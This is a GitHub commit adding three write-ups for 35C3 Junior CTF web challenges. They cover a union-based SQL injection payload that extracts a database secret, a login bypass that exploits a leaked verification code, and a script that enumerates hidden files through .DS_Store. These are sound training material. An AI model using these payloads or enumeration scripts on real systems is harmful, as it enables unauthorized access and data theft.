Skip to content

Commit

Permalink
35C3
Browse files Browse the repository at this point in the history
  • Loading branch information
Dvd848 committed Jan 1, 2019
1 parent 7eaf9d3 commit fb03d01
Show file tree
Hide file tree
Showing 8 changed files with 1,476 additions and 0 deletions.
84 changes: 84 additions & 0 deletions 2018_35C3_Junior/DB_Secret.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
# DB Secret
Web

## Description:
> To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. Pretty sure it's otherwise well protected on our secure server.

## Solution:

This is a "Wee" challenge - see basic explanation [here](./Wee/).

Searching for this DB_SECRET, we find the following piece of code in the server:

```python
def init_db():
with app.app_context():
db = get_db()
with open(MIGRATION_PATH, "r") as f:
db.cursor().executescript(f.read())
db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)")
db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,))
db.commit()

```

It looks like we are looking for an SQL-injection vulnerability.

Scanning the code to search for such a vulnerability, we find:
```python
@app.route("/api/getprojectsadmin", methods=["POST"])
def getprojectsadmin():
# ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);
# ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));
name = request.cookies["name"]
token = request.cookies["token"]
user, username, email, usertype = user_by_token(token)

json = request.get_json(force=True)
offset = json["offset"]
sorting = json["sorting"]

if name != "admin":
raise Exception("InvalidUserName")

sortings = {
"newest": "created DESC",
"oldest": "created ASC",
"lastmodified": "lastModified DESC"
}
sql_sorting = sortings[sorting]

if not offset:
offset = datetime.datetime.now()

return jsonify_projects(query_db(
"SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "
"ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")
```

Since we are already [logged in as admins](Logged_In.md), we can use this entry point and provide a specially crafted `offset` in order to perform the injection.

The code:
```python
import requests

cookie = {"name": "admin", "token": "vsfrhvlixgcakewqactbyotkdsrhjehq"}
r = requests.post('http://35.207.132.47/api/getprojectsadmin', json={"offset": "' union select secret, 1, 1, 1, 1, 1, 1, 1 from secrets limit 1 --", "sorting": "newest"}, cookies = cookie)
print(r.text)
```

This will produce the following query:
```sql
SELECT code, userName, title, public, type, lastModified, created, content
FROM projects
WHERE created < ''
union select secret, 1, 1, 1, 1, 1, 1, 1 from secrets limit 1 --'ORDER BY {} LIMIT 10
```

The response:
```
[{"code":"35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???","content":1,"created":1,"lastModified":1,"public":1,"title":1,"type":1,"userName":1}]
```

The flag: 35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???
80 changes: 80 additions & 0 deletions 2018_35C3_Junior/Logged_In.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
# Logged In
Web

## Description:
> Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account.

## Solution:

This is a "Wee" challenge - see basic explanation [here](./Wee/).

Clicking the "Login" button pops up a login box, where the user is requested to enter an email or username.

If we try to enter "admin", a request gets sent to `/api/login` and the logic box now requests: "We have sent you an email with a magic code! Please enter it below".

Let's check what happens in the server side:

```python
@app.route("/api/login", methods=["POST"])
def login():
print("Logging in?")
# TODO Send Mail
json = request.get_json(force=True)
login = json["email"].strip()
try:
userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
except Exception as ex:
raise Exception("UserDoesNotExist")
return get_code(name)
```

As expected, the mail service does not work yet, and the required code is returned to the user in the response:
```console
root@kali:/media/sf_CTFs/35c3ctf/Logged_In# curl 'http://35.207.132.47/api/login' -H 'Content-Type: application/json; charset=UTF-8' --data-binary '{"email":"admin"}' && echo
lrsrge
```

If we try this code, we get the following response:
```console
root@kali:/media/sf_CTFs/35c3ctf/Logged_In# curl 'http://35.207.132.47/api/verify' -H 'Content-Type: application/json; charset=UTF-8' --data-binary '{"code":"lrsrge"}' -i && echo
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Tue, 01 Jan 2019 19:57:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Set-Cookie: token=vsfrhvlixgcakewqactbyotkdsrhjehq; Expires=Sun, 19-Jan-2087 23:11:37 GMT; Max-Age=2147483647; Path=/
Set-Cookie: name=admin; Expires=Sun, 19-Jan-2087 23:11:37 GMT; Max-Age=2147483647; Path=/
Set-Cookie: logged_in=35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS; Path=/
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: script-src 'self' 'unsafe-inline';
Referrer-Policy: no-referrer-when-downgrade
Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self';
```

The matching code is:
```python
@app.route("/api/verify", methods=["POST"])
def verify():
code = request.get_json(force=True)["code"].strip()
if not code:
raise Exception("CouldNotVerifyCode")
userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
db = get_db()
c = db.cursor()
c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
token = random_code(32)
c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
db.commit()
name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
resp = make_response()
resp.set_cookie("token", token, max_age=2 ** 31 - 1)
resp.set_cookie("name", name, max_age=2 ** 31 - 1)
resp.set_cookie("logged_in", LOGGED_IN)
return resp
```

And we are logged in as "admin", with the flag being sent as part of the cookie: 35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS
134 changes: 134 additions & 0 deletions 2018_35C3_Junior/McDonald.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
# McDonald
Web

## Description:
> Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores..
## Solution:

The website seems pretty empty, nothing much there.

Let's check for `robots.txt`:
```console
root@kali:/media/sf_CTFs/35c3ctf/McDonald# curl -s http://35.207.132.47:85/robots.txt
User-agent: *
Disallow: /backup/.DS_Store
```

What is this file (Source: [Wikipedia](https://en.wikipedia.org/wiki/.DS_Store))?
> In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image. The name is an abbreviation of Desktop Services Store, reflecting its purpose. It is created and maintained by the Finder application in every folder, and has functions similar to the file desktop.ini in Microsoft Windows. Starting with a full stop (period) character, it is hidden in Finder and many Unix utilities. Its internal structure is proprietary.
The format is proprietary but luckily someone published a [script](https://github.com/gehaxelt/Python-dsstore) to parse the file (and not just anyone - the challenge author!).

Here's the output for our file:
```
root@kali:/media/sf_CTFs/35c3ctf/McDonald/manual# python ~/utils/Python-dsstore/main.py .DS_Store
('Count: ', 20)
a
a
a
a
b
b
b
b
b
b
b
b
c
c
c
c
c
c
c
c
```

It looks like these are also folders, and that some of them contain a `.DS_Store` file as well.

Using this script, we can traverse the directory structure:
```python
import requests
import sys
import dsstore

BASE_URL = "http://35.207.91.38/"
BASE_FOLDER = "out"
DS_FILENAME = ".DS_Store"

def get_file_content(relative_address):
r = requests.get(BASE_URL + relative_address)
if r.status_code == 200:
return r.content
return None

def get_files_and_folders(ds_store_content):
d = dsstore.DS_Store(ds_store_content, debug=False)
files = d.traverse_root()
return set(files)

queue = ["backup"]

while (len(queue) != 0):
item = queue.pop()
print "Parsing: {}".format(item)
f = get_file_content(item + "/" + DS_FILENAME)
if f is not None:
files = get_files_and_folders(f)
print files
for file in files:
new_path = item + "/" + file
if "." not in file:
queue.append(new_path)
else:
print "Content of {}:".format(new_path)
print get_file_content(new_path)
```

The output:
```
root@kali:/media/sf_CTFs/35c3ctf/McDonald# python solve.py
Parsing: backup
set([u'a', u'c', u'b'])
Parsing: backup/b
set([u'a', u'c', u'b', u'noflag.txt'])
Content of backup/b/noflag.txt:
Parsing: backup/b/b
set([u'fun'])
Parsing: backup/b/b/fun
Parsing: backup/b/c
Parsing: backup/b/a
set([u'a', u'c', u'b', u'noflag.txt'])
Content of backup/b/a/noflag.txt:
Parsing: backup/b/a/b
set([u'fun'])
Parsing: backup/b/a/b/fun
Parsing: backup/b/a/c
set([u'flag.txt', u'noflag.txt'])
Content of backup/b/a/c/flag.txt:
35c3_Appl3s_H1dden_F1l3s
Content of backup/b/a/c/noflag.txt:
Parsing: backup/b/a/a
Parsing: backup/c
set([u'a', u'c', u'b'])
Parsing: backup/c/b
set([u'a', u'c', u'b'])
Parsing: backup/c/b/b
Parsing: backup/c/b/c
Parsing: backup/c/b/a
Parsing: backup/c/c
set([u'a', u'c', u'b'])
Parsing: backup/c/c/b
Parsing: backup/c/c/c
Parsing: backup/c/c/a
Parsing: backup/c/a
Parsing: backup/a
```

The flag is hiding in `backup/b/a/c/flag.txt`: 35c3_Appl3s_H1dden_F1l3s
Loading

0 comments on commit fb03d01

Please sign in to comment.